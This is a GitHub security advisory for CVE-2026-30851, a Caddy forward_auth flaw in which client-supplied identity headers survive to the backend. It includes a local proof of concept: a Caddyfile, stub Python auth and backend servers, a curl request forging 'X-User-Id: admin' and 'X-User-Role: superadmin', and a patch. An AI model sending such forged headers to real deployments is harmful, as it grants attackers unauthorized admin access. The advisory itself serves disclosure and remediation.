Skip to content

Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation

High severity GitHub Reviewed Published Mar 6, 2026 in caddyserver/caddy • Updated Mar 9, 2026

Package

gomod github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy (Go)

Affected versions

>= 2.10.0, < 2.11.2

Patched versions

2.11.2

Description

Summary

Caddy's forward_auth directive with copy_headers generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.

When an auth service returns 200 OK without one of the configured copy_headers headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.

This is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.


Scope Argument

This is a bug in the source code of this repository, not a misconfiguration.

The operator uses forward_auth with copy_headers exactly as documented. The documentation contains no warning that client-supplied headers with the same names as copy_headers entries must also be stripped manually. The forward_auth directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in copy_headers.

The bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a MatchNot guard to skip the Set operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional Set provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives.

The fix is a single-line code change in modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go.


Affected Versions

Version Vulnerable
<= v2.9.x No (old code overwrote client value with empty placeholder)
v2.10.0 (April 18, 2025) Yes — first stable release containing PR #6608
v2.10.1 Yes
v2.10.2 Yes
v2.11.0 Yes
v2.11.1 (February 23, 2026, current) Yes — unpatched

Package: github.com/caddyserver/caddy/v2
Affected file: modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go


Root Cause

The parseCaddyfile function builds one route per copy_headers entry. Each route uses a MatchNot guard and a Set operation:

// from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x)
copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{
    MatcherSetsRaw: []caddy.ModuleMap{{
        "not": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{
            "vars": h.JSON(caddyhttp.VarsMatcher{
                "{" + placeholderName + "}": []string{""},
            }),
        }}}),
    }},
    HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject(
        handler, "handler", "headers", nil,
    )},
})

The route runs only when {http.reverse_proxy.header.X-User-Id} (the auth service's response header) is non-empty. When the auth service does not return X-User-Id, the placeholder is empty, the MatchNot guard fires, the route is skipped, and the original client-supplied X-User-Id header is never removed.

There is no Delete operation anywhere in this function.


Minimal Reproduction Config

Caddyfile (no redactions, as required):

{
    admin off
    auto_https off
    debug
}

:8080 {
    forward_auth 127.0.0.1:9091 {
        uri /
        copy_headers X-User-Id X-User-Role
    }
    reverse_proxy 127.0.0.1:9092
}

Reproduction Steps

No containers, VMs, or external services are used. All services run as local processes.

Step 1 — Start the auth service

Save as auth.py and run python3 auth.py in a terminal:

# auth.py
# Accepts any Bearer token, returns 200 OK with NO identity headers.
# Represents a stateless JWT validator that checks signature only.
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        auth = self.headers.get('Authorization', '')
        code = 200 if auth.startswith('Bearer ') else 401
        self.send_response(code)
        self.end_headers()
        sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\n')
        sys.stdout.flush()
    def log_message(self, *a): pass

HTTPServer(('127.0.0.1', 9091), H).serve_forever()

Step 2 — Start the backend

Save as backend.py and run python3 backend.py in a second terminal:

# backend.py
# Echoes the identity headers it receives.
import sys, json
from http.server import HTTPServer, BaseHTTPRequestHandler

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        data = {
            'X-User-Id':   self.headers.get('X-User-Id',   '(absent)'),
            'X-User-Role': self.headers.get('X-User-Role', '(absent)'),
        }
        body = json.dumps(data, indent=2).encode()
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
        sys.stdout.write(f'[backend] saw: {data}\n')
        sys.stdout.flush()
    def log_message(self, *a): pass

HTTPServer(('127.0.0.1', 9092), H).serve_forever()

Step 3 — Start Caddy

caddy run --config Caddyfile --adapter caddyfile

Step 4 — Run the three test cases

Test A: No token — must be blocked (confirms auth is enforced)

curl -v http://127.0.0.1:8080/

Expected: HTTP/1.1 401


Test B: Valid token, no injected headers (baseline)

curl -v http://127.0.0.1:8080/ \
  -H "Authorization: Bearer token123"

Expected backend response:

{
  "X-User-Id":   "(absent)",
  "X-User-Role": "(absent)"
}

Test C: ATTACK — valid token plus injected identity headers

curl -v http://127.0.0.1:8080/ \
  -H "Authorization: Bearer token123" \
  -H "X-User-Id: admin" \
  -H "X-User-Role: superadmin"

Actual backend response (demonstrates the vulnerability):

{
  "X-User-Id":   "admin",
  "X-User-Role": "superadmin"
}

The backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return X-User-Id or X-User-Role. Caddy skipped the Set operation due to the MatchNot guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.

Test C is the proof of the vulnerability.

The attack requires only a valid (non-privileged) token. No admin account is needed.


Full Debug Log

Run Caddy with debug in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:

DEBUG   http.handlers.reverse_proxy     selected upstream  {"dial": "127.0.0.1:9091"}
DEBUG   http.handlers.reverse_proxy     upstream responded  {"status": 200}
DEBUG   http.handlers.reverse_proxy     handling response   {"handler": "copy_headers"}

Note that no log line will show a header deletion because no deletion occurs. The X-User-Id and X-User-Role headers are never touched.


Impact

Any deployment using forward_auth with copy_headers where the auth service validates credentials without returning identity headers in its response. This is common in:

  • Stateless JWT validators (verify signature, no response headers)
  • Session validators that leave identity decoding to the backend
  • Auth services where only some requests return identity headers

Attack:

  1. Attacker has any valid auth token
  2. Attacker sends request with forged X-User-Id: admin and X-User-Role: superadmin
  3. Auth service validates token, returns 200 OK, no identity headers
  4. Caddy skips Set (placeholder empty), never deletes original headers
  5. Backend receives X-User-Id: admin, X-User-Role: superadmin
  6. Backend grants admin access

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1 High


Working Patch

--- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
+++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
@@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error)
 	copyHeaderRoutes := []caddyhttp.Route{}
 	for _, from := range sortedHeadersToCopy {
 		to := http.CanonicalHeaderKey(headersToCopy[from])
 		placeholderName := "http.reverse_proxy.header." + http.CanonicalHeaderKey(from)
+
+		// Security fix: unconditionally delete the client-supplied header
+		// before the conditional set runs. Without this, a client that
+		// pre-supplies a header listed in copy_headers can inject arbitrary
+		// values when the auth service does not return that header, because
+		// the MatchNot guard below skips the Set entirely (leaving the
+		// original client value intact).
+		copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{
+			HandlersRaw: []json.RawMessage{
+				caddyconfig.JSONModuleObject(
+					&headers.Handler{
+						Request: &headers.HeaderOps{
+							Delete: []string{to},
+						},
+					},
+					"handler", "headers", nil,
+				),
+			},
+		})
+
 		handler := &headers.Handler{
 			Request: &headers.HeaderOps{
 				Set: http.Header{

The delete route has no matcher, so it always runs. It fires before the existing MatchNot + Set route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent Set then applies the correct value. If the auth service does not provide the header, the client's value is gone and the backend receives nothing.

This is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers.


Uniqueness Confirmation

The following were checked and confirmed not to cover this vulnerability:

No prior report exists for this specific behavior.


References


Fix

Fix PR - caddyserver/caddy#7545


AI Disclosure

An LLM was used to polish the report.

References

@mholt mholt published to caddyserver/caddy Mar 6, 2026
Published to the GitHub Advisory Database Mar 6, 2026
Reviewed Mar 6, 2026
Published by the National Vulnerability Database Mar 7, 2026
Last updated Mar 9, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(4th percentile)

Weaknesses

Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Learn more on MITRE.

Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. Learn more on MITRE.

CVE ID

CVE-2026-30851

GHSA ID

GHSA-7r4p-vjf4-gxv4

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.